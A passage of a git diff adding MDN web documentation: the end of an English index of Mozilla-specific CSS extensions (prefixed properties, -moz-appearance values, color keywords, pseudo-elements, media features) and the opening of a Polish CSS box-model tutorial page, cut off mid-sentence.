"-moz-animation-direction")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-duration", "-moz-animation-duration")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-fill-mode", "-moz-animation-fill-mode")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-iteration-count", "-moz-animation-iteration-count")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-name", "-moz-animation-name")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-play-state", "-moz-animation-play-state")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-timing-function","-moz-animation-timing-function")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("-moz-appearance")}}</li> + <li> + <h3 id="B_2">B</h3> + </li> + <li>{{Cssxref("backface-visibility", "-moz-backface-visibility")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("background-clip", "-moz-background-clip")}}</li> + <li>{{Cssxref("background-origin", "-moz-background-origin")}}</li> + <li>{{Cssxref("-moz-background-inline-policy")}} [Superseded by the standard version {{cssxref("box-decoration-break")}}]</li> + <li>{{Cssxref("background-size", "-moz-background-size")}}</li> + <li>{{Cssxref("-moz-border-end")}} [Superseded by the standard version {{cssxref("border-inline-end")}}]</li> + <li>{{Cssxref("-moz-border-end-color")}} [Superseded by the standard version {{cssxref("border-inline-end-color")}}]</li> + <li>{{Cssxref("-moz-border-end-style")}} [Superseded by the standard version {{cssxref("border-inline-end-style")}}]</li> + <li>{{Cssxref("-moz-border-end-width")}} [Superseded by the standard version {{cssxref("border-inline-end-width")}}]</li> + <li>{{Cssxref("border-image","-moz-border-image")}}</li> + <li>{{Cssxref("-moz-border-start")}} [Superseded by the standard version {{cssxref("border-inline-start")}}]</li> + <li>{{Cssxref("-moz-border-start-color")}} [Superseded by the standard version {{cssxref("border-inline-start-color")}}]</li> + <li>{{Cssxref("-moz-border-start-style")}} [Superseded by the standard version {{cssxref("border-inline-start-style")}}]</li> + <li>{{Cssxref("-moz-border-start-width")}} [Superseded by the standard version {{cssxref("border-inline-start-width")}}]</li> + <li>{{cssxref("box-sizing", "-moz-box-sizing")}} [Prefixed version still accepted]</li> + <li> + <h3 id="C">C</h3> + </li> + <li>{{Cssxref("clip-path")}} [Applying to more than SVG]</li> + <li>{{Cssxref("-moz-column-count")}}</li> + <li>{{Cssxref("-moz-column-fill")}}</li> + <li>{{Cssxref("-moz-column-gap")}}</li> + <li>{{Cssxref("-moz-column-width")}}</li> + <li>{{Cssxref("-moz-column-rule")}}</li> + <li>{{Cssxref("-moz-column-rule-width")}}</li> + <li>{{Cssxref("-moz-column-rule-style")}}</li> + <li>{{Cssxref("-moz-column-rule-color")}}</li> + <li>{{Cssxref("-moz-context-properties")}}</li> + <li> + <h3 id="F_–_M">F – M</h3> + </li> + <li>{{Cssxref("filter")}} [Applying to more than SVG]</li> + <li>{{Cssxref("-moz-font-feature-settings")}} [Prefixed version still accepted]</li> + <li>{{cssxref("-moz-font-language-override")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("-moz-hyphens")}}</li> + <li>{{Cssxref("-moz-margin-end")}} [Superseded by the standard version {{cssxref("margin-inline-end")}}]</li> + <li>{{Cssxref("-moz-margin-start")}} [Superseded by the standard version {{cssxref("margin-inline-start")}}]</li> + <li>{{Cssxref("mask")}} [Applying to more than SVG]</li> + <li> + <h3 id="O_2">O</h3> + </li> + <li>{{Cssxref("opacity","-moz-opacity")}}</li> + <li>{{Cssxref("outline","-moz-outline")}}</li> + <li>{{Cssxref("outline-color","-moz-outline-color")}}</li> + <li>{{Cssxref("outline-offset","-moz-outline-offset")}}</li> + <li>{{Cssxref("outline-style","-moz-outline-style")}}</li> + <li>{{Cssxref("outline-width","-moz-outline-width")}}</li> + <li> + <h3 id="P">P</h3> + </li> + <li>{{Cssxref("-moz-padding-end")}} [Superseded by the standard version {{cssxref("padding-inline-end")}}]</li> + <li>{{Cssxref("-moz-padding-start")}} [Superseded by the standard version {{cssxref("padding-inline-start")}}]</li> + <li>{{Cssxref("perspective", "-moz-perspective")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("perspective-origin","-moz-perspective-origin")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("pointer-events")}} [Applying to more than SVG]</li> + <li> + <h3 id="T_–_U">T – U</h3> + </li> + <li>{{cssxref("-moz-tab-size")}}</li> + <li>{{cssxref("-moz-text-align-last")}}</li> + <li>{{Cssxref("text-decoration-color","-moz-text-decoration-color")}}</li> + <li>{{Cssxref("text-decoration-line","-moz-text-decoration-line")}}</li> + <li>{{Cssxref("text-decoration-style","-moz-text-decoration-style")}}</li> + <li>{{cssxref("-moz-text-size-adjust")}}</li> + <li>{{Cssxref("transform", "-moz-transform")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("transform-origin", "-moz-transform-origin")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("transform-style", "-moz-transform-style")}} [Prefixed version still accepted]</li> + <li>{{cssxref("transition", "-moz-transition")}} [Prefixed version still accepted]</li> + <li>{{cssxref("transition-delay", "-moz-transition-delay")}} [Prefixed version still accepted]</li> + <li>{{cssxref("transition-duration", "-moz-transition-duration")}} [Prefixed version still accepted]</li> + <li>{{cssxref("transition-property", "-moz-transition-property")}} [Prefixed version still accepted]</li> + <li>{{cssxref("transition-timing-function", "-moz-transition-timing-function")}} [Prefixed version still accepted]</li> + <li>{{cssxref("-moz-user-select")}}</li> +</ul> +</div> + +<h2 id="Values">Values</h2> + +<h3 id="Global_values">Global values</h3> + +<div class="index"> +<ul> + <li>{{cssxref("initial","-moz-initial")}}</li> +</ul> +</div> + +<h3 id="Cssxref(-moz-appearance)">{{Cssxref("-moz-appearance")}}</h3> + +<div class="index"> +<ul> + <li><code>button</code></li> + <li><code>button-arrow-down</code></li> + <li><code>button-arrow-next</code></li> + <li><code>button-arrow-previous</code></li> + <li><code>button-arrow-up</code></li> + <li><code>button-bevel</code></li> + <li><code>checkbox</code></li> + <li><code>checkbox-container</code></li> + <li><code>checkbox-label</code></li> + <li><code>checkmenuitem</code></li> + <li><code>dialog</code></li> + <li><code>groupbox</code></li> + <li><code>listbox</code></li> + <li><code>menuarrow</code></li> + <li><code>menucheckbox</code></li> + <li><code>menuimage</code></li> + <li><code>menuitem</code></li> + <li><code>menuitemtext</code></li> + <li><code>menulist</code></li> + <li><code>menulist-button</code></li> + <li><code>menulist-text</code></li> + <li><code>menulist-textfield</code></li> + <li><code>menupopup</code></li> + <li><code>menuradio</code></li> + <li><code>menuseparator</code></li> + <li><code>-moz-mac-unified-toolbar</code> {{Fx_minversion_inline(3.5)}}</li> + <li><code>-moz-win-borderless-glass</code></li> + <li><code>-moz-win-browsertabbar-toolbox</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-win-communications-toolbox</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-win-glass</code></li> + <li><code>-moz-win-media-toolbox</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-window-button-box</code></li> + <li><code>-moz-window-button-box-maximized</code></li> + <li><code>-moz-window-button-close</code></li> + <li><code>-moz-window-button-maximize</code></li> + <li><code>-moz-window-button-minimize</code></li> + <li><code>-moz-window-button-restore</code></li> + <li><code>-moz-window-titlebar</code></li> + <li><code>-moz-window-titlebar-maximized</code></li> + <li><code>progressbar</code></li> + <li><code>progresschunk</code></li> + <li><code>radio</code></li> + <li><code>radio-container</code></li> + <li><code>radio-label</code></li> + <li><code>radiomenuitem</code></li> + <li><code>resizer</code></li> + <li><code>resizerpanel</code></li> + <li><code>scale-horizontal</code></li> + <li><code>scalethumb-horizontal</code></li> + <li><code>scalethumb-vertical</code></li> + <li><code>scale-vertical</code></li> + <li><code>scrollbarbutton-down</code></li> + <li><code>scrollbarbutton-left</code></li> + <li><code>scrollbarbutton-right</code></li> + <li><code>scrollbarbutton-up</code></li> + <li><code>scrollbar-small</code></li> + <li><code>scrollbarthumb-horizontal</code></li> + <li><code>scrollbarthumb-vertical</code></li> + <li><code>scrollbartrack-horizontal</code></li> + <li><code>scrollbartrack-vertical</code></li> + <li><code>separator</code></li> + <li><code>spinner</code></li> + <li><code>spinner-downbutton</code></li> + <li><code>spinner-textfield</code></li> + <li><code>spinner-upbutton</code></li> + <li><code>statusbar</code></li> + <li><code>statusbarpanel</code></li> + <li><code>tab</code></li> + <li><code>tabpanels</code></li> + <li><code>tab-scroll-arrow-back</code></li> + <li><code>tab-scroll-arrow-forward</code></li> + <li><code>textfield</code></li> + <li><code>textfield-multiline</code></li> + <li><code>toolbar</code></li> + <li><code>toolbarbutton-dropdown</code></li> + <li><code>toolbox</code></li> + <li><code>tooltip</code></li> + <li><code>treeheadercell</code></li> + <li><code>treeheadersortarrow</code></li> + <li><code>treeitem</code></li> + <li><code>treetwisty</code></li> + <li><code>treetwistyopen</code></li> + <li><code>treeview</code></li> + <li><code>window</code></li> +</ul> +</div> + +<h3 id="cssxref(background-image)">{{cssxref("background-image")}}</h3> + +<div class="index"> +<ul> + <li> + <h4 id="Gradients_Gecko_minversion_inline(1.9.2)">Gradients {{Gecko_minversion_inline("1.9.2")}}</h4> + + <ul> + <li>{{cssxref("-moz-linear-gradient")}}</li> + <li>{{cssxref("-moz-radial-gradient")}}</li> + </ul> + </li> + <li> + <h4 id="Elements_gecko_minversion_inline(2.0)">Elements {{gecko_minversion_inline("2.0")}}</h4> + + <ul> + <li>{{cssxref("-moz-element")}}</li> + </ul> + </li> + <li> + <h4 id="Sub-images_gecko_minversion_inline(2.0)">Sub-images {{gecko_minversion_inline("2.0")}}</h4> + + <ul> + <li>{{cssxref("-moz-image-rect")}}</li> + </ul> + </li> +</ul> +</div> + +<h3 id="Cssxref(border-color)">{{Cssxref("border-color")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-use-text-color</code> {{obsolete_inline}} removed from Gecko (see {{bug(1306214)}}); use <a href="/en-US/docs/Web/CSS/color_value#currentColor_keyword">currentcolor</a> instead.</li> +</ul> +</div> + +<h3 id="Cssxref(border-style)_and_Cssxref(outline-style)">{{Cssxref("border-style")}} and {{Cssxref("outline-style")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-bg-inset | -moz-bg-outset | -moz-bg-solid </code> {{obsolete_inline}} dropped in Gecko 1.9 (Firefox 3.0)</li> +</ul> +</div> + +<h3 id="cssxref(<color>)_keywords">{{cssxref("<color>")}} keywords</h3> + +<div class="index"> +<ul> + <li><code>-moz-activehyperlinktext</code></li> + <li><code>-moz-hyperlinktext</code></li> + <li><code>-moz-visitedhyperlinktext</code></li> + <li><code>-moz-buttondefault</code></li> + <li><code>-moz-buttonhoverface</code></li> + <li><code>-moz-buttonhovertext</code></li> + <li><code>-moz-default-background-color</code> {{Gecko_minversion_inline("5.0")}}</li> + <li><code>-moz-default-color</code> {{Gecko_minversion_inline("5.0")}}</li> + <li><code>-moz-cellhighlight</code></li> + <li><code>-moz-cellhighlighttext</code></li> + <li><code>-moz-field</code></li> + <li><code>-moz-fieldtext</code></li> + <li><code>-moz-dialog</code></li> + <li><code>-moz-dialogtext</code></li> + <li><code>-moz-dragtargetzone</code></li> + <li><code>-moz-mac-accentdarkestshadow</code></li> + <li><code>-moz-mac-accentdarkshadow</code></li> + <li><code>-moz-mac-accentface</code></li> + <li><code>-moz-mac-accentlightesthighlight</code></li> + <li><code>-moz-mac-accentlightshadow</code></li> + <li><code>-moz-mac-accentregularhighlight</code></li> + <li><code>-moz-mac-accentregularshadow</code></li> + <li><code>-moz-mac-chrome-active</code> {{Gecko_minversion_inline("1.9.1")}}</li> + <li><code>-moz-mac-chrome-inactive</code> {{Gecko_minversion_inline("1.9.1")}}</li> + <li><code>-moz-mac-focusring</code></li> + <li><code>-moz-mac-menuselect</code></li> + <li><code>-moz-mac-menushadow</code></li> + <li><code>-moz-mac-menutextselect</code></li> + <li><code>-moz-menuhover</code></li> + <li><code>-moz-menuhovertext</code></li> + <li><code>-moz-win-communicationstext</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-win-mediatext</code> {{gecko_minversion_inline(1.9)}}</li> + <li><code>-moz-nativehyperlinktext</code> {{Gecko_minversion_inline("1.9.1")}}</li> +</ul> +</div> + +<h3 id="Cssxref(display)">{{Cssxref("display")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-box</code></li> + <li><code>-moz-inline-block</code> {{obsolete_inline}}</li> + <li><code>-moz-inline-box</code></li> + <li><code>-moz-inline-grid</code></li> + <li><code>-moz-inline-stack</code></li> + <li><code>-moz-inline-table</code> {{obsolete_inline}}</li> + <li><code>-moz-grid</code></li> + <li><code>-moz-grid-group</code></li> + <li><code>-moz-grid-line</code></li> + <li><code>-moz-groupbox</code></li> + <li><code>-moz-deck</code></li> + <li><code>-moz-popup</code></li> + <li><code>-moz-stack</code></li> + <li><code>-moz-marker</code></li> +</ul> +</div> + +<h3 id="cssxref(empty-cells)">{{cssxref("empty-cells")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-show-background</code> (default value in quirks mode)</li> +</ul> +</div> + +<h3 id="Cssxref(font)">{{Cssxref("font")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-button</code></li> + <li><code>-moz-info</code></li> + <li><code>-moz-desktop</code></li> + <li><code>-moz-dialog</code> (also a color)</li> + <li><code>-moz-document</code></li> + <li><code>-moz-workspace</code></li> + <li><code>-moz-window</code></li> + <li><code>-moz-list</code></li> + <li><code>-moz-pull-down-menu</code></li> + <li><code>-moz-field</code> (also a color)</li> +</ul> +</div> + +<h3 id="Cssxref(font-family)">{{Cssxref("font-family")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-fixed</code></li> +</ul> +</div> + +<h3 id="Cssxref(image-rendering)">{{Cssxref("image-rendering")}}</h3> + +<div class="index"> +<ul> + <li>{{Cssxref("image-rendering","-moz-crisp-edges")}} {{Gecko_minversion_inline("1.9.2")}}</li> +</ul> +</div> + +<h3 id="cssxref(<length>)">{{cssxref("<length>")}}</h3> + +<div class="index"> +<ul> + <li>{{cssxref("-moz-calc")}} {{gecko_minversion_inline("2.0")}}</li> +</ul> +</div> + +<h3 id="Cssxref(list-style-type)">{{Cssxref("list-style-type")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-arabic-indic</code></li> + <li><code>-moz-bengali</code></li> + <li><code>-moz-cjk-earthly-branch</code></li> + <li><code>-moz-cjk-heavenly-stem</code></li> + <li><code>-moz-devanagari</code></li> + <li><code>-moz-ethiopic-halehame</code></li> + <li><code>-moz-ethiopic-halehame-am</code></li> + <li><code>-moz-ethiopic-halehame-ti-er</code></li> + <li><code>-moz-ethiopic-halehame-ti-et</code></li> + <li><code>-moz-ethiopic-numeric</code></li> + <li><code>-moz-gujarati</code></li> + <li><code>-moz-gurmukhi</code></li> + <li><code>-moz-hangul</code></li> + <li><code>-moz-hangul-consonant</code></li> + <li><code>-moz-japanese-formal</code></li> + <li><code>-moz-japanese-informal</code></li> + <li><code>-moz-kannada</code></li> + <li><code>-moz-khmer</code></li> + <li><code>-moz-lao</code></li> + <li><code>-moz-malayalam</code></li> + <li><code>-moz-myanmar</code></li> + <li><code>-moz-oriya</code></li> + <li><code>-moz-persian</code></li> + <li><code>-moz-simp-chinese-formal</code></li> + <li><code>-moz-simp-chinese-informal</code></li> + <li><code>-moz-tamil</code></li> + <li><code>-moz-telugu</code></li> + <li><code>-moz-thai</code></li> + <li><code>-moz-trad-chinese-formal</code></li> + <li><code>-moz-trad-chinese-informal</code></li> + <li><code>-moz-urdu</code></li> +</ul> +</div> + +<h3 id="Cssxref(overflow)">{{Cssxref("overflow")}}</h3> + +<div class="index"> +<ul> + <li>{{Cssxref("-moz-scrollbars-none")}} {{obsolete_inline}}</li> + <li>{{Cssxref("-moz-scrollbars-horizontal")}} {{Deprecated_inline}}</li> + <li>{{Cssxref("-moz-scrollbars-vertical")}} {{Deprecated_inline}}</li> + <li>{{Cssxref("-moz-hidden-unscrollable")}}</li> +</ul> +</div> + +<h3 id="Cssxref(text-align)">{{Cssxref("text-align")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-center</code></li> + <li><code>-moz-left</code></li> + <li><code>-moz-right</code></li> +</ul> +</div> + +<h3 id="Cssxref(text-decoration)">{{Cssxref("text-decoration")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-anchor-decoration</code></li> +</ul> +</div> + +<h3 id="Cssxref(-moz-user-select)">{{Cssxref("-moz-user-select")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-all</code></li> + <li><code>-moz-none</code></li> +</ul> +</div> + +<h3 id="Cssxref(width)_Cssxref(min-width)_and_Cssxref(max-width)">{{Cssxref("width")}}, {{Cssxref("min-width")}}, and {{Cssxref("max-width")}}</h3> + +<div class="index"> +<ul> + <li><code>-moz-min-content</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-fit-content</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-max-content</code> {{Fx_minversion_inline(3)}}</li> + <li><code>-moz-available</code> {{Fx_minversion_inline(3)}}</li> +</ul> +</div> + +<h2 id="Pseudo-elements_and_pseudo-classes">Pseudo-elements and pseudo-classes</h2> + +<div class="index"> +<ul> + <li> + <h3 id="A_–_D">A – D</h3> + </li> + <li>{{Cssxref("::-moz-anonymous-block")}} <span class="comment">eg@:- bug 331432</span></li> + <li>{{Cssxref("::-moz-anonymous-positioned-block")}}</li> + <li>{{cssxref(":-moz-any")}} {{gecko_minversion_inline("2.0")}}</li> + <li>{{Cssxref(":-moz-any-link")}} [Matches <code>:link</code> and <code>:visited</code>]</li> + <li>{{Cssxref(":-moz-broken")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref("::-moz-canvas")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-cell-content")}} <span class="comment">eg@:- bug 331432</span></li> + <li>{{Cssxref(":-moz-drag-over")}}</li> + <li> + <h3 id="F_–_I">F – I</h3> + </li> + <li>{{Cssxref(":-moz-first-node")}}</li> + <li>{{cssxref("::-moz-focus-inner")}}</li> + <li>{{cssxref("::-moz-focus-outer")}}</li> + <li>{{cssxref(":-moz-focusring")}} {{gecko_minversion_inline("2.0")}}</li> + <li>{{cssxref(":-moz-full-screen")}} {{gecko_minversion_inline("9.0")}}</li> + <li>{{cssxref(":-moz-full-screen-ancestor")}} {{gecko_minversion_inline("10.0")}}</li> + <li>{{cssxref(":-moz-handler-blocked")}} {{gecko_minversion_inline("1.9.1")}}</li> + <li>{{cssxref(":-moz-handler-crashed")}} {{gecko_minversion_inline("2.0")}}</li> + <li>{{cssxref(":-moz-handler-disabled")}} {{gecko_minversion_inline("1.9.1")}}</li> + <li>{{Cssxref("::-moz-inline-table")}}</li> + <li> + <h3 id="Leg-_resourcegreresua.css">L<span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></h3> + </li> + <li>{{Cssxref(":-moz-last-node")}}</li> + <li>{{Cssxref(":-moz-list-bullet")}}</li> + <li>{{cssxref(":-moz-list-number")}}</li> + <li>{{cssxref(":-moz-loading")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-locale-dir(ltr)")}} {{gecko_minversion_inline("1.9.2")}}</li> + <li>{{Cssxref(":-moz-locale-dir(rtl)")}} {{gecko_minversion_inline("1.9.2")}}</li> + <li>{{Cssxref(":-moz-lwtheme")}} {{gecko_minversion_inline("1.9.2")}}</li> + <li>{{Cssxref(":-moz-lwtheme-brighttext")}} {{gecko_minversion_inline("1.9.2")}}</li> + <li>{{Cssxref(":-moz-lwtheme-darktext")}} {{gecko_minversion_inline("1.9.2")}}</li> + <li> + <h3 id="N_–_R">N – R</h3> + </li> + <li>{{Cssxref(":-moz-native-anonymous")}} {{gecko_minversion_inline("36")}}</li> + <li>{{Cssxref(":-moz-only-whitespace")}}</li> + <li>{{Cssxref("::-moz-page")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-page-sequence")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-pagebreak")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-pagecontent")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref(":-moz-placeholder")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{cssxref("::-moz-placeholder")}} {{gecko_minversion_inline("19")}}</li> + <li>{{Cssxref("::-moz-progress-bar")}}</li> + <li>{{Cssxref("::-moz-range-progress")}}</li> + <li>{{Cssxref("::-moz-range-thumb")}}</li> + <li>{{Cssxref("::-moz-range-track")}}</li> + <li>{{Cssxref(":-moz-read-only")}}</li> + <li>{{Cssxref(":-moz-read-write")}}</li> + <li> + <h3 id="S">S</h3> + </li> + <li>{{Cssxref("::-moz-scrolled-canvas")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-scrolled-content")}} <span class="comment">eg@:- bug 331432</span></li> + <li>{{Cssxref("::-moz-scrolled-page-sequence")}} <span class="comment">eg@:- bug 331432</span></li> + <li>{{cssxref("::selection","::-moz-selection")}}</li> + <li>{{cssxref(":-moz-submit-invalid")}} {{gecko_minversion_inline("2.0")}}</li> + <li>{{cssxref(":-moz-suppressed")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref("::-moz-svg-foreign-content")}} <span class="comment">example at <a rel="freelink">resource://gre/res/svg.css</a> , *|*::-moz-svg-foreign-content {display: block !important;position: static !important;}</span></li> + <li> </li> + <li> + <h3 id="T">T</h3> + </li> + <li>{{Cssxref("::-moz-table")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-table-cell")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-table-column")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-table-column-group")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-table-outer")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-table-row")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-table-row-group")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref(":-moz-tree-cell")}}</li> + <li>{{Cssxref(":-moz-tree-cell-text")}}</li> + <li>{{Cssxref(":-moz-tree-cell-text(hover)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-tree-checkbox")}}</li> + <li>{{Cssxref(":-moz-tree-column")}}</li> + <li>{{Cssxref(":-moz-tree-drop-feedback")}}</li> + <li>{{Cssxref(":-moz-tree-image")}}</li> + <li>{{Cssxref(":-moz-tree-indentation")}}</li> + <li>{{Cssxref(":-moz-tree-line")}}</li> + <li>{{Cssxref(":-moz-tree-progressmeter")}}</li> + <li>{{Cssxref(":-moz-tree-row")}}</li> + <li>{{Cssxref(":-moz-tree-row(hover)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-tree-separator")}}</li> + <li>{{Cssxref(":-moz-tree-twisty")}}</li> + <li> + <h3 id="U_–_X">U – X</h3> + </li> + <li>{{Cssxref(":-moz-ui-invalid")}}{{gecko_minversion_inline("2.0")}}</li> + <li>{{Cssxref(":-moz-ui-valid")}}{{gecko_minversion_inline("2.0")}}</li> + <li>{{cssxref(":-moz-user-disabled")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref("::-moz-viewport")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{Cssxref("::-moz-viewport-scroll")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> + <li>{{cssxref(":-moz-window-inactive")}} {{gecko_minversion_inline("2.0")}}</li> + <li>{{Cssxref("::-moz-xul-anonymous-block")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li> +</ul> +</div> + +<h2 id="At-rules">At-rules</h2> + +<div class="index"> +<ul> + <li>{{Cssxref("@-moz-document")}}</li> +</ul> +</div> + +<h2 id="Media_features">Media features</h2> + +<div class="index"> +<ul> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-mac-graphite-theme">-moz-mac-graphite-theme</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-maemo-classic">-moz-maemo-classic</a> </code>{{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-device-pixel-ratio">-moz-device-pixel-ratio</a></code> {{gecko_minversion_inline("2.0")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-os-version">-moz-os-version</a></code></li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-end-backward">-moz-scrollbar-end-backward</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-end-forward">-moz-scrollbar-end-forward</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-start-backward">-moz-scrollbar-start-backward</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-start-forward">-moz-scrollbar-start-forward</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-thumb-proportional">-moz-scrollbar-thumb-proportional</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-touch-enabled">-moz-touch-enabled</a> </code>{{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-accent-color-in-titlebar">-moz-windows-accent-color-in-titlebar</a></code></li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-classic">-moz-windows-classic</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-compositor">-moz-windows-compositor</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-default-theme">-moz-windows-default-theme</a></code> {{gecko_minversion_inline("1.9.2")}}</li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-glass">-moz-windows-glass</a></code></li> + <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-theme">-moz-windows-theme</a></code> {{gecko_minversion_inline("2.0")}}</li> +</ul> +</div> + +<h2 id="Other">Other</h2> + +<div class="index"> +<ul> + <li>{{Cssxref("-moz-alt-content")}} {{Bug("11011")}}</li> +</ul> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">Microsoft CSS Extensions</a></li> + <li><a href="/en-US/docs/Web/CSS/Webkit_Extensions">WebKit CSS Extensions</a></li> +</ul> diff --git a/files/pl/web/css/na_początek/bloki/index.html b/files/pl/web/css/na_początek/bloki/index.html new file mode 100644 index 0000000000..0835e0b145 --- /dev/null +++ b/files/pl/web/css/na_początek/bloki/index.html @@ -0,0 +1,70 @@ +--- +title: Bloki +slug: Web/CSS/Na_początek/Bloki +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Building_blocks +--- +<p> </p> +<p>Ta strona opisuje jak możesz użyć CSS do kontroli przestrzeni, którą zajmuje wyświetlany element.</p> +<p>W swoim przykładowym dokumencie będziesz zmieniać odstępy i dodawać reguły dekoracyjne.</p> +<h3 id="Informacja:_Bloki" name="Informacja:_Bloki">Informacja: Bloki</h3> +<p>Kiedy Twoja przeglądarka wyświetla element, zajmuje on miejsce. Przestrzeń, którą zajmuje element, dzieli się na cztery części.</p> +<p>W środku istnieje przestrzeń, której element potrzebuje do wyświetlenia swojej zawartości. Wokół tego jest margines wewnętrzny. Wokół tego jest ramka. Wokół tego jest margines zewnętrzny.</p> +<table> <tbody> <tr> <td style="width: 22em;"> <div style="padding: 0px 2em 2em; background-color: rgb(238, 238, 238); width: 16em;"> <p style="margin: 0px; text-align: center;">margines zewnętrzny</p> <p style="margin: 0px 0px -0.75em; text-align: center;">ramka</p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(255, 255, 255);"> <p style="text-align: center;">margines wewnętrzny</p> <div style="background-color: rgb(238, 238, 238);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(153, 153, 153);">element</p> </div> </div> </div> <p><em>Jasny szary wskazuje części układu strony.</em></p> </td> <td> <div style="padding: 0px 2em 2em; background-color: rgb(255, 255, 255); width: 16em;"> <p style="margin: 0px; text-align: center;"> </p> <p style="margin: 0px 0px -0.75em; text-align: center;"> </p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(255, 255, 255);"> <p style="text-align: center;"> </p> <div style="background-color: rgb(255, 255, 255);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(153, 153, 153);">element</p> </div> </div> </div> <p><em>Tak wygląda to w przeglądarce.</em></p> </td> </tr> </tbody> +</table> +<p>Marginesy wewnętrzne, zewnętrzne i ramka mogą mieć różne wielkości na górze, na dole, po prawej i po lewej 